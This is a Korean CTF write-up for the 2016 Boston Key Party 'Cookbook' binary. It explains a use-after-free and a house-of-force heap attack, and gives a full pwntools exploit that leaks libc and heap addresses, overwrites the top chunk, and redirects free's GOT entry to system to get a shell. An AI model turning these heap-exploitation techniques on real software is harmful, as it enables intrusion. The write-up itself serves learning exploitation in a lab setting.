2016 Boston Key Party CTF Cookbook
취약점은 Create recipe 부분에서 할당하면 전역변수를 0으로 초기화하지 않기 때문에 UAF 가 가능하다. 그리고 Create recipe의 print current recipe를 보면 a1+124를 출력하는데 이것들을 이용해서 힙 주소나 base주소 등등 전부 구할 수 있었다. 그리고 Create recipe의 include instructions 함수에서 fgets로 값을 받는데 값을 +140 부터 받아서 탑 청크를 덮을 수 있게 된다. 또 give cookbook a name 함수에서 사이즈를 자기가 원하는 만큼 받을 수 있기 때문에 이 취약점들로 house of force 공격을 할 수 있다.
공격 순서는
heap_address & system_address Leak -> Top_chunk size change(\xff\xff\xff\xff) -> Attack순으로 했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | // input your code herefrom pwn import* p = process("./cookbook") elf = ELF("./cookbook") def leak(add): p.sendlineafter("uit\n","c") p.sendlineafter("uit\n","n") p.sendlineafter("uit\n","d") p.sendlineafter("uit\n","q") p.sendlineafter("uit\n","g") p.sendlineafter(": ","300") p.sendline("\x00"*124+p32(add)) p.sendlineafter("uit\n","c") p.sendlineafter("uit\n","p") p.sendlineafter("?","/bin/sh") leak(0x0804d03c) #libc_start_main p.recvuntil("type: ") libc_start = u32(p.recv(4)) base = libc_start-0x18540 system = base+0x3ada0 one_shot = base + 0x5fbc6 leak(0x0804d0a0) #0x0804d0a0 recipe_ptr p.recvuntil("type: ") heap = u32(p.recv(4)) top_add =heap+0x304 size = elf.got["free"] - 0x8-top_add-0x414 print "libc_start_main: " + hex(libc_start) print "base: " + hex(base) print "heap: " + hex(heap) print "Top_chunk: " + hex(top_add) print "size: " + hex(size) p.sendlineafter("uit\n","n") p.sendlineafter("uit\n","g") p.sendline("a"*0x380+"\xff\xff\xff\xff") p.sendlineafter("uit\n","q") p.sendlineafter("uit\n","g") p.sendline(hex(size)) p.sendlineafter("uit\n","g") p.sendlineafter(": ","5") p.sendline(p32(system)) p.interactive() ~ | cs |
문제는 그렇게 어렵지 않았지만 문제에서 값을 넣는데 malloc로 할당해서 그걸로 값을 넣고 또 free하고 막 전역변수 여러개로 청크 관리하는 걸 보고 분석하다가 머리가 멈춰버렸다. ㅎ 그래서 풀이를 이해하고 풀었다...
이 문제를 풀면서 함수 전부를 분석해야하지만 그 중에서 중요한 부분을 잘 잡아내서 분석하는 것도 중요하다는 것을 깨달았다.
또 평소에 분석하다가 헷갈리면 gdb로 같이 값 들어가는거 보면서 했는데 앞으로는 정적 분석 실력 향상을 위해 최대한 정적으로만 분석해야지.
'CTF' 카테고리의 다른 글
TRUSTEALTH CTF sohard (0) | 2018.03.02 |
---|---|
TRUSTEALTH CTF sysrop (0) | 2018.03.02 |
Bctf_2016 bcloud (0) | 2018.02.21 |
2018 Codegate Super Marimo (6) | 2018.02.06 |
2018 Codegate BaskinRobins31 (0) | 2018.02.04 |